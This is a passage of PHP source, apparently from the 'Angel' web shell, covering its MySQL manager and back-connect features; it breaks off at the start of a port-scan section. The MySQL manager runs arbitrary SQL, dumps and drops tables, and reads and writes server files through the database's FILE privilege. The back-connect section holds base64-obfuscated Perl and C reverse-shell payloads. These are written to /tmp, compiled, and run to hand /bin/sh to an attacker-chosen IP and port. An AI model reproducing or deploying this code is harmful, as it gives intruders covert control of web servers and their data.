1437 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
1438
1439 }
1440
1441 }
1442
1443 }
1444
1445?>
1446
1447<script type="text/javascript">
1448
1449function mysqlfile(doing){
1450
1451 if(!doing) return;
1452
1453 $('doing').value=doing;
1454
1455 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
1456
1457 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
1458
1459 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
1460
1461 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
1462
1463 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
1464
1465 $('mysqlfile').charset.value=$('dbinfo').charset.value;
1466
1467 $('mysqlfile').submit();
1468
1469}
1470
1471</script>
1472
1473<?php
1474
1475 !$dbhost && $dbhost = 'localhost';
1476
1477 !$dbuser && $dbuser = 'root';
1478
1479 !$dbport && $dbport = '3306';
1480
1481 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
1482
1483 makehide('action','sqlfile');
1484
1485 p('<p>');
1486
1487 p('DBHost:');
1488
1489 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1490
1491 p(':');
1492
1493 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1494
1495 p('DBUser:');
1496
1497 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1498
1499 p('DBPass:');
1500
1501 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1502
1503 p('DBName:');
1504
1505 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
1506
1507 p('DBCharset:');
1508
1509 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
1510
1511 p('</p>');
1512
1513 formfoot();
1514
1515 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
1516
1517 p('<h2>Upload file</h2>');
1518
1519 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
1520
1521 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
1522
1523 p('<h2>Download file</h2>');
1524
1525 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
1526
1527 makehide('dbhost');
1528
1529 makehide('dbport');
1530
1531 makehide('dbuser');
1532
1533 makehide('dbpass');
1534
1535 makehide('dbname');
1536
1537 makehide('charset');
1538
1539 makehide('doing');
1540
1541 makehide('action','sqlfile');
1542
1543 p('</form>');
1544
1545}
1546
1547
1548
1549elseif ($action == 'mysqladmin') {
1550
1551 !$dbhost && $dbhost = 'localhost';
1552
1553 !$dbuser && $dbuser = 'root';
1554
1555 !$dbport && $dbport = '3306';
1556
1557 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
1558
1559 if(isset($dbhost)){
1560
1561 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
1562
1563 }
1564
1565 if(isset($dbuser)) {
1566
1567 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
1568
1569 }
1570
1571 if(isset($dbpass)) {
1572
1573 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
1574
1575 }
1576
1577 if(isset($dbport)) {
1578
1579 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
1580
1581 }
1582
1583 if(isset($dbname)) {
1584
1585 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1586
1587 }
1588
1589 if(isset($charset)) {
1590
1591 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
1592
1593 }
1594
1595
1596
1597 if ($doing == 'backupmysql' && $saveasfile) {
1598
1599 if (!$table) {
1600
1601 m('Please choose the table');
1602
1603 } else {
1604
1605 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1606
1607 $fp = @fopen($path,'w');
1608
1609 if ($fp) {
1610
1611 foreach($table as $k => $v) {
1612
1613 if ($v) {
1614
1615 sqldumptable($v, $fp);
1616
1617 }
1618
1619 }
1620
1621 fclose($fp);
1622
1623 $fileurl = str_replace(SA_ROOT,'',$path);
1624
1625 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
1626
1627 mysql_close();
1628
1629 } else {
1630
1631 m('Backup failed');
1632
1633 }
1634
1635 }
1636
1637 }
1638
1639 if ($insert && $insertsql) {
1640
1641 $keystr = $valstr = $tmp = '';
1642
1643 foreach($insertsql as $key => $val) {
1644
1645 if ($val) {
1646
1647 $keystr .= $tmp.$key;
1648
1649 $valstr .= $tmp."'".addslashes($val)."'";
1650
1651 $tmp = ',';
1652
1653 }
1654
1655 }
1656
1657 if ($keystr && $valstr) {
1658
1659 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1660
1661 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1662
1663 }
1664
1665 }
1666
1667 if ($update && $insertsql && $base64) {
1668
1669 $valstr = $tmp = '';
1670
1671 foreach($insertsql as $key => $val) {
1672
1673 $valstr .= $tmp.$key."='".addslashes($val)."'";
1674
1675 $tmp = ',';
1676
1677 }
1678
1679 if ($valstr) {
1680
1681 $where = base64_decode($base64);
1682
1683 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1684
1685 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
1686
1687 }
1688
1689 }
1690
1691 if ($doing == 'del' && $base64) {
1692
1693 $where = base64_decode($base64);
1694
1695 $delete_sql = "DELETE FROM $tablename WHERE $where";
1696
1697 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1698
1699 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1700
1701 }
1702
1703
1704
1705 if ($tablename && $doing == 'drop') {
1706
1707 $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1708
1709 if (q("DROP TABLE $tablename")) {
1710
1711 m('Drop table of success');
1712
1713 $tablename = '';
1714
1715 } else {
1716
1717 m(mysql_error());
1718
1719 }
1720
1721 }
1722
1723
1724
1725 formhead(array('title'=>'MYSQL Manager'));
1726
1727 makehide('action','mysqladmin');
1728
1729 p('<p>');
1730
1731 p('DBHost:');
1732
1733 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1734
1735 p(':');
1736
1737 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1738
1739 p('DBUser:');
1740
1741 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1742
1743 p('DBPass:');
1744
1745 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1746
1747 p('DBCharset:');
1748
1749 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
1750
1751 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1752
1753 p('</p>');
1754
1755 formfoot();
1756
1757
1758
1759 //????
1760
1761 formhead(array('name'=>'recordlist'));
1762
1763 makehide('doing');
1764
1765 makehide('action','mysqladmin');
1766
1767 makehide('base64');
1768
1769 makehide('tablename');
1770
1771 p($dbform);
1772
1773 formfoot();
1774
1775
1776
1777 //?????
1778
1779 formhead(array('name'=>'setdbname'));
1780
1781 makehide('action','mysqladmin');
1782
1783 p($dbform);
1784
1785 if (!$dbname) {
1786
1787 makehide('dbname');
1788
1789 }
1790
1791 formfoot();
1792
1793
1794
1795 //???
1796
1797 formhead(array('name'=>'settable'));
1798
1799 makehide('action','mysqladmin');
1800
1801 p($dbform);
1802
1803 makehide('tablename');
1804
1805 makehide('page',$page);
1806
1807 makehide('doing');
1808
1809 formfoot();
1810
1811
1812
1813 $cachetables = array();
1814
1815 $pagenum = 30;
1816
1817 $page = intval($page);
1818
1819 if($page) {
1820
1821 $start_limit = ($page - 1) * $pagenum;
1822
1823 } else {
1824
1825 $start_limit = 0;
1826
1827 $page = 1;
1828
1829 }
1830
1831 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1832
1833 $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1834
1835 //???????
1836
1837 $mysqlver = mysql_get_server_info();
1838
1839 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
1840
1841 $highver = $mysqlver > '4.1' ? 1 : 0;
1842
1843
1844
1845 //?????
1846
1847 $query = q("SHOW DATABASES");
1848
1849 $dbs = array();
1850
1851 $dbs[] = '-- Select a database --';
1852
1853 while($db = mysql_fetch_array($query)) {
1854
1855 $dbs[$db['Database']] = $db['Database'];
1856
1857 }
1858
1859 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
1860
1861 $tabledb = array();
1862
1863 if ($dbname) {
1864
1865 p('<p>');
1866
1867 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
1868
1869 if ($tablename) {
1870
1871 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
1872
1873 }
1874
1875 p('</p>');
1876
1877 mysql_select_db($dbname);
1878
1879
1880
1881 $getnumsql = '';
1882
1883 $runquery = 0;
1884
1885 if ($sql_query) {
1886
1887 $runquery = 1;
1888
1889 }
1890
1891 $allowedit = 0;
1892
1893 if ($tablename && !$sql_query) {
1894
1895 $sql_query = "SELECT * FROM $tablename";
1896
1897 $getnumsql = $sql_query;
1898
1899 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
1900
1901 $allowedit = 1;
1902
1903 }
1904
1905 p('<form action="'.$self.'" method="POST">');
1906
1907 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1908
1909 makehide('tablename', $tablename);
1910
1911 makehide('action','mysqladmin');
1912
1913 p($dbform);
1914
1915 p('</form>');
1916
1917 if ($tablename || ($runquery && $sql_query)) {
1918
1919 if ($doing == 'structure') {
1920
1921 $result = q("SHOW FULL COLUMNS FROM $tablename");
1922
1923 $rowdb = array();
1924
1925 while($row = mysql_fetch_array($result)) {
1926
1927 $rowdb[] = $row;
1928
1929 }
1930
1931 p('<h3>Structure</h3>');
1932
1933 p('<table border="0" cellpadding="3" cellspacing="0">');
1934
1935 p('<tr class="head">');
1936
1937 p('<td>Field</td>');
1938
1939 p('<td>Type</td>');
1940
1941 p('<td>Collation</td>');
1942
1943 p('<td>Null</td>');
1944
1945 p('<td>Key</td>');
1946
1947 p('<td>Default</td>');
1948
1949 p('<td>Extra</td>');
1950
1951 p('<td>Privileges</td>');
1952
1953 p('<td>Comment</td>');
1954
1955 p('</tr>');
1956
1957 foreach ($rowdb as $row) {
1958
1959 $thisbg = bg();
1960
1961 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1962
1963 p('<td>'.$row['Field'].'</td>');
1964
1965 p('<td>'.$row['Type'].'</td>');
1966
1967 p('<td>'.$row['Collation'].' </td>');
1968
1969 p('<td>'.$row['Null'].' </td>');
1970
1971 p('<td>'.$row['Key'].' </td>');
1972
1973 p('<td>'.$row['Default'].' </td>');
1974
1975 p('<td>'.$row['Extra'].' </td>');
1976
1977 p('<td>'.$row['Privileges'].' </td>');
1978
1979 p('<td>'.$row['Comment'].' </td>');
1980
1981 p('</tr>');
1982
1983 }
1984
1985 tbfoot();
1986
1987 $result = q("SHOW INDEX FROM $tablename");
1988
1989 $rowdb = array();
1990
1991 while($row = mysql_fetch_array($result)) {
1992
1993 $rowdb[] = $row;
1994
1995 }
1996
1997 p('<h3>Indexes</h3>');
1998
1999 p('<table border="0" cellpadding="3" cellspacing="0">');
2000
2001 p('<tr class="head">');
2002
2003 p('<td>Keyname</td>');
2004
2005 p('<td>Type</td>');
2006
2007 p('<td>Unique</td>');
2008
2009 p('<td>Packed</td>');
2010
2011 p('<td>Seq_in_index</td>');
2012
2013 p('<td>Field</td>');
2014
2015 p('<td>Cardinality</td>');
2016
2017 p('<td>Collation</td>');
2018
2019 p('<td>Null</td>');
2020
2021 p('<td>Comment</td>');
2022
2023 p('</tr>');
2024
2025 foreach ($rowdb as $row) {
2026
2027 $thisbg = bg();
2028
2029 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
2030
2031 p('<td>'.$row['Key_name'].'</td>');
2032
2033 p('<td>'.$row['Index_type'].'</td>');
2034
2035 p('<td>'.($row['Non_unique'] ? 'No' : 'Yes').' </td>');
2036
2037 p('<td>'.($row['Packed'] === null ? 'No' : $row['Packed']).' </td>');
2038
2039 p('<td>'.$row['Seq_in_index'].'</td>');
2040
2041 p('<td>'.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' </td>');
2042
2043 p('<td>'.($row['Cardinality'] ? $row['Cardinality'] : 0).' </td>');
2044
2045 p('<td>'.$row['Collation'].' </td>');
2046
2047 p('<td>'.$row['Null'].' </td>');
2048
2049 p('<td>'.$row['Comment'].' </td>');
2050
2051 p('</tr>');
2052
2053 }
2054
2055 tbfoot();
2056
2057 } elseif ($doing == 'insert' || $doing == 'edit') {
2058
2059 $result = q('SHOW COLUMNS FROM '.$tablename);
2060
2061 while ($row = mysql_fetch_array($result)) {
2062
2063 $rowdb[] = $row;
2064
2065 }
2066
2067 $rs = array();
2068
2069 if ($doing == 'insert') {
2070
2071 p('<h2>Insert new line in '.$tablename.' table »</h2>');
2072
2073 } else {
2074
2075 p('<h2>Update record in '.$tablename.' table »</h2>');
2076
2077 $where = base64_decode($base64);
2078
2079 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
2080
2081 $rs = mysql_fetch_array($result);
2082
2083 }
2084
2085 p('<form method="post" action="'.$self.'">');
2086
2087 p($dbform);
2088
2089 makehide('action','mysqladmin');
2090
2091 makehide('tablename',$tablename);
2092
2093 p('<table border="0" cellpadding="3" cellspacing="0">');
2094
2095 foreach ($rowdb as $row) {
2096
2097 if ($rs[$row['Field']]) {
2098
2099 $value = htmlspecialchars($rs[$row['Field']]);
2100
2101 } else {
2102
2103 $value = '';
2104
2105 }
2106
2107 $thisbg = bg();
2108
2109 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
2110
2111 if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {
2112
2113 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>');
2114
2115 } else {
2116
2117 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
2118
2119 }
2120
2121 }
2122
2123 if ($doing == 'insert') {
2124
2125 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
2126
2127 } else {
2128
2129 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
2130
2131 makehide('base64', $base64);
2132
2133 }
2134
2135 p('</table></form>');
2136
2137 } else {
2138
2139 $querys = @explode(';',$sql_query);
2140
2141 foreach($querys as $num=>$query) {
2142
2143 if ($query) {
2144
2145 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
2146
2147 switch(qy($query))
2148
2149 {
2150
2151 case 0:
2152
2153 p('<h2>Error : '.mysql_error().'</h2>');
2154
2155 break;
2156
2157 case 1:
2158
2159 if (strtolower(substr($query,0,13)) == 'select * from') {
2160
2161 $allowedit = 1;
2162
2163 }
2164
2165 if ($getnumsql) {
2166
2167 $tatol = mysql_num_rows(q($getnumsql));
2168
2169 $multipage = multi($tatol, $pagenum, $page, $tablename);
2170
2171 }
2172
2173 if (!$tablename) {
2174
2175 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
2176
2177 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
2178
2179 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
2180
2181 $tablename = $matches[1][0];
2182
2183 }
2184
2185
2186
2187 /*********************/
2188
2189 $getfield = q("SHOW COLUMNS FROM $tablename");
2190
2191 $rowdb = array();
2192
2193 $keyfied = ''; //????
2194
2195 while($row = @mysql_fetch_assoc($getfield)) {
2196
2197 $rowdb[$row['Field']]['Key'] = $row['Key'];
2198
2199 $rowdb[$row['Field']]['Extra'] = $row['Extra'];
2200
2201 if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {
2202
2203 $keyfied = $row['Field'];
2204
2205 }
2206
2207 }
2208
2209 /*********************/
2210
2211 //?????????????
2212
2213 if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') {
2214
2215 $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);
2216
2217 }
2218
2219
2220
2221 $result = q($query);
2222
2223
2224
2225 p($multipage);
2226
2227 p('<table border="0" cellpadding="3" cellspacing="0">');
2228
2229 p('<tr class="head">');
2230
2231 if ($allowedit) p('<td>Action</td>');
2232
2233 $fieldnum = @mysql_num_fields($result);
2234
2235 for($i=0;$i<$fieldnum;$i++){
2236
2237 $name = @mysql_field_name($result, $i);
2238
2239 $type = @mysql_field_type($result, $i);
2240
2241 $len = @mysql_field_len($result, $i);
2242
2243 p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
2244
2245 }
2246
2247 p('</tr>');
2248
2249
2250
2251 while($mn = @mysql_fetch_assoc($result)){
2252
2253 $thisbg = bg();
2254
2255 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
2256
2257 $where = $tmp = $b1 = '';
2258
2259 //???????
2260
2261 foreach($mn as $key=>$inside){
2262
2263 if ($inside) {
2264
2265 //?????????????????,?????,?????????????
2266
2267 if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {
2268
2269 $where = $key."='".addslashes($inside)."'";
2270
2271 break;
2272
2273 }
2274
2275 $where .= $tmp.$key."='".addslashes($inside)."'";
2276
2277 $tmp = ' AND ';
2278
2279 }
2280
2281 }
2282
2283 //?????
2284
2285 foreach($mn as $key=>$inside){
2286
2287 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
2288
2289 }
2290
2291 $where = base64_encode($where);
2292
2293
2294
2295 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
2296
2297
2298
2299 p($b1);
2300
2301 p('</tr>');
2302
2303 unset($b1);
2304
2305 }
2306
2307 p('<tr class="head">');
2308
2309 if ($allowedit) p('<td>Action</td>');
2310
2311 $fieldnum = @mysql_num_fields($result);
2312
2313 for($i=0;$i<$fieldnum;$i++){
2314
2315 $name = @mysql_field_name($result, $i);
2316
2317 $type = @mysql_field_type($result, $i);
2318
2319 $len = @mysql_field_len($result, $i);
2320
2321 p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
2322
2323 }
2324
2325 p('</tr>');
2326
2327 tbfoot();
2328
2329 p($multipage);
2330
2331 break;
2332
2333 case 2:
2334
2335 $ar = mysql_affected_rows();
2336
2337 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
2338
2339 break;
2340
2341 }
2342
2343 }
2344
2345 }
2346
2347 }
2348
2349 } else {
2350
2351 $query = q("SHOW TABLE STATUS");
2352
2353 $table_num = $table_rows = $data_size = 0;
2354
2355 $tabledb = array();
2356
2357 while($table = mysql_fetch_array($query)) {
2358
2359 $data_size = $data_size + $table['Data_length'];
2360
2361 $table_rows = $table_rows + $table['Rows'];
2362
2363 $table['Data_length'] = sizecount($table['Data_length']);
2364
2365 $table_num++;
2366
2367 $tabledb[] = $table;
2368
2369 }
2370
2371 $data_size = sizecount($data_size);
2372
2373 unset($table);
2374
2375 p('<table border="0" cellpadding="0" cellspacing="0">');
2376
2377 p('<form action="'.$self.'" method="POST">');
2378
2379 makehide('action','mysqladmin');
2380
2381 p($dbform);
2382
2383 p('<tr class="head">');
2384
2385 p('<td width="2%" align="center"> </td>');
2386
2387 p('<td>Name</td>');
2388
2389 p('<td>Rows</td>');
2390
2391 p('<td>Data_length</td>');
2392
2393 p('<td>Create_time</td>');
2394
2395 p('<td>Update_time</td>');
2396
2397 if ($highver) {
2398
2399 p('<td>Engine</td>');
2400
2401 p('<td>Collation</td>');
2402
2403 }
2404
2405 p('<td>Operate</td>');
2406
2407 p('</tr>');
2408
2409 foreach ($tabledb as $key => $table) {
2410
2411 $thisbg = bg();
2412
2413 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
2414
2415 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
2416
2417 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
2418
2419 p('<td>'.$table['Rows'].'</td>');
2420
2421 p('<td>'.$table['Data_length'].'</td>');
2422
2423 p('<td>'.$table['Create_time'].' </td>');
2424
2425 p('<td>'.$table['Update_time'].' </td>');
2426
2427 if ($highver) {
2428
2429 p('<td>'.$table['Engine'].'</td>');
2430
2431 p('<td>'.$table['Collation'].'</td>');
2432
2433 }
2434
2435 p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');
2436
2437 p('</tr>');
2438
2439 }
2440
2441 p('<tr class="head">');
2442
2443 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
2444
2445 p('<td>Name</td>');
2446
2447 p('<td>Rows</td>');
2448
2449 p('<td>Data_length</td>');
2450
2451 p('<td>Create_time</td>');
2452
2453 p('<td>Update_time</td>');
2454
2455 if ($highver) {
2456
2457 p('<td>Engine</td>');
2458
2459 p('<td>Collation</td>');
2460
2461 }
2462
2463 p('<td>Operate</td>');
2464
2465 p('</tr>');
2466
2467 p('<tr class='.bg().'>');
2468
2469 p('<td> </td>');
2470
2471 p('<td>Total tables: '.$table_num.'</td>');
2472
2473 p('<td>'.$table_rows.'</td>');
2474
2475 p('<td>'.$data_size.'</td>');
2476
2477 p('<td colspan="'.($highver ? 5 : 3).'"> </td>');
2478
2479 p('</tr>');
2480
2481
2482
2483 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" value=\"Export selection table\" /></td></tr>");
2484
2485 makehide('doing','backupmysql');
2486
2487 formfoot();
2488
2489 p("</table>");
2490
2491 fr($query);
2492
2493 }
2494
2495 }
2496
2497 }
2498
2499 tbfoot();
2500
2501 @mysql_close();
2502
2503}//end mysql
2504
2505
2506
2507elseif ($action == 'backconnect') {
2508
2509 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
2510
2511 !$yourport && $yourport = '12345';
2512
2513 $usedb = array('perl'=>'perl','c'=>'c');
2514
2515
2516
2517 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
2518
2519 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
2520
2521 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
2522
2523 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
2524
2525 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
2526
2527 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
2528
2529 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
2530
2531 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
2532
2533 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
2534
2535 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
2536
2537 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
2538
2539 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
2540
2541 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
2542
2543 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
2544
2545 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
2546
2547
2548
2549 if ($start && $yourip && $yourport && $use){
2550
2551 if ($use == 'perl') {
2552
2553 cf('/tmp/angel_bc',$back_connect);
2554
2555 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
2556
2557 } else {
2558
2559 cf('/tmp/angel_bc.c',$back_connect_c);
2560
2561 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
2562
2563 @unlink('/tmp/angel_bc.c');
2564
2565 $res = execute("/tmp/angel_bc $yourip $yourport &");
2566
2567 }
2568
2569 m("Now script try connect to $yourip port $yourport ...");
2570
2571 }
2572
2573
2574
2575 formhead(array('title'=>'Back Connect'));
2576
2577 makehide('action','backconnect');
2578
2579 p('<p>');
2580
2581 p('Your IP:');
2582
2583 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
2584
2585 p('Your Port:');
2586
2587 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
2588
2589 p('Use:');
2590
2591 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
2592
2593 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
2594
2595 p('</p>');
2596
2597 formfoot();
2598
2599}//end
2600
2601
2602
2603elseif ($action == 'portscan') {
2604
2605 !$scanip && $scanip = '127.0.0.1';
2606
